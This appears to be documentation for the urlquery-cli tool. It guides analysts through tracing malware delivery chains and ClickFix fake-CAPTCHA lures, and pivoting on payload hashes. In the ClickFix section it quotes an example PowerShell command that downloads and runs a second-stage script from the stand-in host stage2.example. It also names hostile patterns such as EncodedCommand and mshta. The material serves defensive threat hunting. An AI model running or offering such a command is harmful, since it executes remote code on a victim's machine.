Malicious downloads and ClickFix lures
Not every malicious page wants a password. Some deliver malware: a fake document that downloads an installer, an archive with a script inside, a shortcut disguised as a PDF, or a fake CAPTCHA or "fix this error" page that asks the visitor to paste a command. This guide follows the delivery from the link to the payload, and pivots on the payload to find the rest of the campaign.
It uses urlquery-cli with jq. Replace <…> with your own values.
:::danger Payloads are live malware The files, scripts and commands in these reports are real. Read them as text and pivot on their hashes; download a payload only into an isolated malware-analysis environment, and never run a command from a report. :::
1. Analyze the link and follow the chain
urlquery-cli submit 'https://docs.example.com/invoice' --access restricted --tags case_1234 --wait --summary
urlquery-cli report get <report_id> > report.json
# Each navigation and redirect, in time order: the delivery chain.
jq -r '[.http[] | select(.is_navigation_request or (.response.status_code >= 300 and .response.status_code < 400))]
| sort_by(.timestamp)[] | [.response.status_code, .url.addr] | @tsv' report.json
Delivery chains often pass through a few hops: a link shortener, a traffic distribution system that picks the payload by visitor, then the landing page. Note each hop's host; the ones you don't recognize are part of the campaign. A redirect done by JavaScript or a meta refresh shows as a new navigation request, not a 3xx.
Some chains hand the payload only to the visitors they target: a Windows browser, a country, a referer from the email. When a report ends on a harmless page, analyze the link again as that visitor, with --device-type or --useragent, and compare the reports.
2. Find what was delivered
# Downloaded files, once per hash: where each came from, its type and size.
jq -r '[.artifacts.files[]] | unique_by(.sha256)[]
| [.sha256, .size, .magic, .url.addr] | @tsv' report.json
# What archives contain: each file's path, type and hash.
jq -r '.artifacts.files[] | select(.archive) | .archive[]
| [.path, .magic, .sha256] | @tsv' report.json | sort -u
# Windows shortcuts and the command each one runs.
jq -r '.artifacts.windows_shortcuts[] | [.url.addr, .string_data.command_line_arguments] | @tsv' report.json
# The urlquery and analyzer alerts that fired on the delivery.
jq -r '.detection.urlquery[], .detection.analyzer[] | [.severity, .alert, .trigger] | @tsv' report.json
| What you see | What it usually is |
|---|---|
An .exe, .msi or .dll from a cloud storage bucket, behind a fake DocuSign, Teams or Zoom page | A trojan, or a legitimate remote-access tool (ScreenConnect, AnyDesk) configured for the attacker. Both are delivery. |
A ZIP, 7-Zip or ISO with a script inside (.js, .vbs, .hta, .lnk) | A loader. urlquery lists and hashes each file inside, and YARA rules scan them. |
A .lnk whose command line runs powershell with -EncodedCommand, or mshta, rundll32 | A shortcut that downloads the next stage. The command line is the evidence. |
| A large file that is mostly padding | A file inflated to get past scanners' size limits. |
The same file often appears several times in a report, once per request; unique_by(.sha256) shows it once.
3. Read a ClickFix lure
A ClickFix page doesn't download anything. It shows a fake CAPTCHA, browser update or error, writes a command to the clipboard, and tells the visitor to paste it into the Run dialog or a terminal. urlquery records what the page wrote:
jq -r '.artifacts.clipboard[] | .content' report.json
A typical command:
powershell.exe -NoP -C "try{cd $env:TEMP -EA Stop;iwr -UseBasicParsing https://stage2.example/e/i/<id> -OutFile i.ps1 -EA Stop;Start-Process powershell '-NoP -File i.ps1' …
The host in the command, here stage2.example, is the next stage. It never appears in the report's traffic, because the browser never fetched it: the victim's own PowerShell would. Treat it as an indicator, search for it, and analyze it separately if you need the payload:
# Other lures that hand out the same next stage.
urlquery-cli report search 'artifacts.clipboard.content:*stage2.example*' --summary
# Every lure urlquery has tagged ClickFix, newest first.
urlquery-cli report search 'tags:clickfix' --summary
Analyzing the second-stage URL makes urlquery fetch it, so the report captures the script it serves. Do it as a private or restricted report, from a case where you're allowed to.
4. Pivot on the payload
A payload's hash is a strong pivot: unrelated sites rarely serve the same file.
# Every report that delivered the same file, or carried it inside an archive.
urlquery-cli report search 'artifacts.files.sha256:<sha256>' --summary
urlquery-cli report search 'artifacts.files.archive.sha256:<sha256>' --summary
# Or the hash alone: searched in downloads, archives, response bodies and scripts.
urlquery-cli report search '<sha256>' --summary
When each victim gets a freshly built file, the hash finds only your report. Pivot on what stays the same instead:
# The same lure page, delivering executables.
urlquery-cli report search 'final.title:"DocuSign - Review Document" AND artifacts.files.magic:*PE32*' --summary
# Executables served from the same kind of storage.
urlquery-cli report search 'artifacts.files.url.fqdn:*.digitaloceanspaces.com AND artifacts.files.magic:*PE32*' --summary
# Shortcuts that run hidden PowerShell.
urlquery-cli report search 'artifacts.windows_shortcuts.string_data.command_line_arguments:*EncodedCommand*' --summary
urlquery gives a verdict for URLs, not files. For what the file does, give its hash to your malware sandbox or a file-reputation service, and download it from the report only into that sandbox:
urlquery-cli report resource <report_id> <sha256> --file sample.bin
5. Catch the next deliveries
- A watchlist with the payload hashes, the delivery hosts and the second-stage host records every new report that touches them; see Monitoring. Leave out shared hosting and storage hosts, such as a whole cloud storage domain: they match everyone's files.
- A YARA rule matches what a delivery needs to work, wherever it is hosted: the lure's text, the clipboard script's code, a string in the files inside an archive. Rules scan response bodies, scripts, the final DOM and files inside ZIP, 7-Zip and ISO archives. See Writing a YARA rule from a report.
6. Hand it over
For incident response and blocking, collect per delivery:
| Evidence | From |
|---|---|
| The link, the report ID and the analysis time | url.addr, report_id, date |
| The chain of hosts to the payload | Step 1 |
| The payload's name, type, size and SHA-256, or the clipboard command | Steps 2 and 3 |
| Where it was hosted | The file's url and ip, and the second stage from the command |
| What fired | The urlquery and analyzer alerts |
Send the payload hashes to your endpoint team to search for, and the delivery and second-stage hosts to your proxy and DNS blocklists. A cloud storage bucket or a legitimate remote-access tool's download is best reported to the provider, which can take down that one bucket or account.